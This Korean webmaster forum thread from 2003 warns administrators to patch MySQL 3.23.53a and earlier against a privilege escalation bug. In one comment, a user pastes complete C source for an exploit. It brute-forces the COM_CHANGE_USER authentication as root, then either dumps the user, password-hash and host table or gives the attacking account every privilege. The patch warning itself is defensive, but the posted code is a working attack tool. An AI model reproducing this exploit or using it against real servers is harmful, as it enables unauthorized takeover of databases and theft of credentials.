웹마스터 팁
page_full_width" class="col-xs-12" |cond="$__Context->page_full_width">
MySQL 3.23.53a 이하 패치하세요!!
2003.02.11 01:12
phpschool.com 의 뉴스란에 2월 9일자로 올라왔군요.
----------------------------------------------------------------------------
벌써 한달가까이 전에 나온 exploit입니다.
일반 mysql유저로 mysql root 권한을 얻을 수 있으며 설마 이런분은 없겠지만
mysql를 root권한으로 돌리시는 분은 시스템 root 권한까지 잃을 수 있습니다.
호스팅서버관리자분께서는 필히 최신버전으로 패치하세요..
Mysql 3.23.53a 이하버전이니 대부분 해당될 껍니다..
그리고 mysql 기본셋팅으로 test계정을 삭제하지 않으신 분은 원격으로 공격받을 수도 있습니다.
----------------------------------------------------------------------------
----------------------------------------------------------------------------
벌써 한달가까이 전에 나온 exploit입니다.
일반 mysql유저로 mysql root 권한을 얻을 수 있으며 설마 이런분은 없겠지만
mysql를 root권한으로 돌리시는 분은 시스템 root 권한까지 잃을 수 있습니다.
호스팅서버관리자분께서는 필히 최신버전으로 패치하세요..
Mysql 3.23.53a 이하버전이니 대부분 해당될 껍니다..
그리고 mysql 기본셋팅으로 test계정을 삭제하지 않으신 분은 원격으로 공격받을 수도 있습니다.
----------------------------------------------------------------------------
댓글 7
-
한희진
2003.02.17 10:29
무슨 소스져? -
Dopesoul
2003.02.11 04:25
올리셔야합니다. 그런건.. ㅋㅋ -
FriZeX*-_-*
2003.02.11 15:15
이런글 올라와도 패치안하고 있다가 당하는 분 꼭 있죠;;;; -
Dragon[Ash]
2003.02.11 21:49
1월21일에 이 버전에서 해킹하는 법이 어느 사이트에 있었는데...
근데 무슨말인지는 몰라서.. -
#NEO™
2003.02.12 05:40
#include <stdio.h>
#include <unistd.h>
#include <mysql/mysql.h>
int do_attack(MYSQL *mysql, char *attackuser);
void do_action(MYSQL *mysql, char *action, char *user);
char *strmov(register char *dst, register const char *src);
int main(int argc, char **argv) {
MYSQL mysql;
char optchar;
char *target, *user, *password, *attackuser, *action;
target = user = password = action = attackuser= NULL;
while ( (optchar = getopt(argc, argv, "ht:u:p:a:e:")) != EOF ) {
switch(optchar) {
case 'h': printf("hoagie_mysql.cn");
printf("-t ... mysql server (default localhost)n");
printf("-u ... username (default empty)n");
printf("-p ... password (default empty)n");
printf("-a ... attack user (default root)n");
printf("-e ... actionn");
printf("-h ... this screenn");
exit(0);
case 't': target = optarg;
break;
case 'u': user = optarg;
break;
case 'p': password = optarg;
break;
case 'a': attackuser = optarg;
break;
case 'e': action = optarg;
}
}
if (!target) target = "localhost";
if (!user) user = "";
if (!password) password = "";
if (!attackuser) attackuser = "root";
if (!action) action = "dumpuser";
printf("connecting to [%s] as [%s] ... ", target, user);
fflush(stdin);
if (!mysql_connect(&mysql, target, user, password)) {
printf("failedn");
return 0;
} else {
printf("okn");
}
printf("sending one byte requests with user [%s] ... n", attackuser);
if (!do_attack(&mysql, attackuser)) {
do_action(&mysql, action, user);
} else {
printf("attack failedn");
}
mysql_close(&mysql);
return 0;
}
int do_attack(MYSQL *mysql, char *attackuser) {
char buff[512], *pos=buff, *attackpasswd = "A";
int i, len, j, ret = 1;
pos = (char*)strmov(pos,attackuser)+1;
mysql->scramble_buff[1] = 0;
pos = scramble(pos, mysql->scramble_buff, attackpasswd,
(my_bool) (mysql->protocol_version == 9));
pos = (char*)strmov(pos+1,"");
len = pos-buff;
for (j = 0; ret && j < 32; j++) {
buff[5] = 65 + j;
ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0);
}
return ret;
}
void do_action(MYSQL *mysql, char *action, char *user) {
MYSQL_ROW row;
MYSQL_RES *result;
char buf[512];
mysql_select_db(mysql, "mysql");
if (!strcmp(action, "dumpuser")) {
mysql_query(mysql, "select user, password, host from user");
result = mysql_use_result(mysql);
while ((row = mysql_fetch_row(result)))
printf("%16s %16s %50sn", row[0], row[1], row[2]);
mysql_free_result(result);
} else if (!strcmp(action, "becomeadmin")) {
snprintf(buf, sizeof(buf) - 1,
"update user set Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', "
" Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', "
" File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y' where "
" user = '%s'", user);
mysql_query(mysql, buf);
mysql_reload(mysql);
} /* do whatever you want ... see mysql api ... // else if ( */
}
char *strmov(register char *dst, register const char *src)
{
while ((*dst++ = *src++)) ;
return dst-1;
} -
#NEO™
2003.02.12 05:41
무슨 소스인지는 잘 아실게요 -
바른생활 NGEO
2003.02.11 01:13
exploit까지 올릴려다가 말았습니다. :-)